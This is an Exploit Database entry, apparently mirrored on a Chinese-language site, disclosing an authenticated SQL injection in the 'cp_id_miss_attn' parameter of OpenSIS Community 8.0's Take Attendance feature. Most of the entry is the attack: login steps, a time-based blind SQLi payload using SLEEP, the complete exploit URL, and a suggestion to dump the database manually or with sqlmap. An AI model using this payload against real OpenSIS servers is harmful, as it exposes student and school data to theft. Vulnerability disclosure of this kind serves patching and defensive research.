OpenSIS Community 8.0 – ‘cp_id_miss_attn’ SQL Injection

• Exploit Database
• 13 阅读

• 作者： Eric Salario
  日期： 2021-09-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50249/

• # Exploit Title: OpenSIS Community 8.0 - 'cp_id_miss_attn' SQL Injection 
  # Date: 09/01/2021
   # Exploit Author: Eric Salario 
  # Vendor Homepage: http://www.os4ed.com/ 
  # Software Link: https://opensis.com/download 
  # Version: 8.0 
  # Tested on: Windows, Linux 
  
  A SQL injection vulnerability exists in the Take Attendance functionality of OS4Ed's OpenSIS 8.0. allows an attacker to inject their own SQL query. The cp_id_miss_attn parameter from TakeAttendance.php is vulnerable to SQL injection. An attacker can make an authenticated HTTP request as a user with access to "Take Attendance" functionality to trigger this vulnerability. 
  
  Steps to reproduce: 
  
  1. Login as "Teacher" and navigate to "Attendance" then "Take Attendance". Capture the request on a web proxy such as BurpSuite Or just navigate to the URL: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=27&cpv_id_miss_attn=23&ajax=true 
  
  Vulnerable parameter: cp_id_miss_attn 
  
  SQLi payload: r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq) 
  
  URL with the payload: http://localhost/Ajax.php?modname=users/TeacherPrograms.php?include=attendance/TakeAttendance.php&modfunc=attn&attn=miss&from_dasboard=1&date=Aug/9/2021&cp_id_miss_attn=r AND (SELECT 1670 FROM (SELECT(SLEEP(10)))VSpq)&cpv_id_miss_attn=23&ajax=true 2. 
  
  The page should load depends on the sleep You can use manual queries to dump database information or use sqlmap. 
  
  PoC: https://youtu.be/GGHiPvdPRas